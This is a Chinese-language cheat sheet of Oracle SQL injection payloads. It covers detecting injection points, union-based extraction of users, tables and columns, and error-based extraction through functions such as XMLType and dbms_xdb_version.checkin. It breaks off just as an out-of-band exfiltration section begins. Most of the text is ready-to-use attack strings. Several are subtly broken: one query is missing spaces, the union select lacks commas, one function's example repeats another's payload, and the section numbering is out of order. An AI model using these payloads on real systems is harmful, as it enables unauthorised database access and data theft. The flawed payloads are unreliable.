Oracle 注入 All in ONE
0x01 尋找並判斷注入點
注意:避免使用and 1=1
這樣的測試語句
數字型:
數字型的注入,和其他型別資料庫時都一樣,自己構造加減乘除
的條件來判斷注入
Payload:
# 通過 <> 來判斷
?id=1'+and+1<>2--+ #返回為真 頁面正常
?id=1'+and+1<>1--+ #返回為假 頁面異常
#通過 加減法來判斷
?id=1 #返回id,為1的內容
?id=2-1 #返回為1的內容
#通過資料庫報錯來判斷
?id=1 #返回為正常
?id=1/0 #返回異常
# 通過註釋符來判斷(多行註釋:/**/,單行註釋:--)
?id=1 #返回為正常
?id=1/*loecho*/ #也返回正常
?id=1 #返回為正常
?id=1--loecho #也返回正常
字元型
字元型注入相對數字型來說,會存在閉合一些資料引用符號的問題,例如語句通過'
閉合語句後,後續就要通過單行註釋符來註釋剩下的單引號,其他情況也是如此
Payload:
#通過<>來判斷
?name=loecho'+and+1<>6--+ #返回正常
?name=loecho'+and+1<>1--+ #返回異常
#使用字串拼接符’||’,通過判斷拼接符是否執行,從而判斷是否存在注入
?name=lo'||'echo #返回正常
?name=lo'||'haha #返回異常
0x02 利用並且查詢資料
01. 聯合查詢
即利用union select將想要查詢的資料顯示在頁面上,構造正常語句,成功執行SQL語句查詢資料
- 具體步驟如下:
# 01.先判斷列數,同Mysql一樣
?id=1'+order+by+4--+ #返回正常
?id=1'+order+by+5--+ #提示報錯
得出結論資料為: 5 列
# 02.然後對每一列的資料型別進行判斷(可以使用null代替某些無法快速猜測出資料型別的位置),先預設每一列均為null,然後從第一列開始依次將null改為字串,如果報錯則說明該列是數字型,否則則是字元型。,同Mysql一樣
?id=1'+union+select+user+null+null+null+from+dual--+ #查詢當前使用者名稱
# 03. 利用select table_name from user_tables where rownum=1獲取表名(列名table資料同理):
select column_name from user_tab_columns where table_name='TB_USER' and rownum=1(獲取列名)
select USER_ID from TB_USER where USER_ID=1 and rownum=1(獲取資料)
03. 報錯注入
構造報錯語句,通過資料庫報錯來帶出我們要查詢的資料,常用的報錯函式包括
- XMLType()
-
# 中間為查詢語句
upper(XMLType(chr(60)||chr(58)||(selectuserfrom dual)||chr(62)))
-
- dbms_xdb_version.checkin()
-
# 中間為查詢語句
upper(dbms_xdb_version.checkin((select user from dual)))
-
- ctxsys.drithsx.sn()
-
# 中間為查詢內容
upper(dbms_xdb_version.checkin((select user from dual)))
-
- ordsys.ord_dicom.getmappingxpath()
-
# 中間為查詢內容
ordsys.ord_dicom.getmappingxpath(user,user,user)
-
- dbms_utility.sqlid_to_sqlhash()
-
# 中間為查詢內容
dbms_utility.sqlid_to_sqlhash((select user from dual)
-
02.OOB外帶資料
通過HTTP請求,或者DNSlog,來構造語句,如果目標出網,並且對資料庫函式沒有進行限制,就會實現攻擊
- HTTP 請求外帶資料
- saf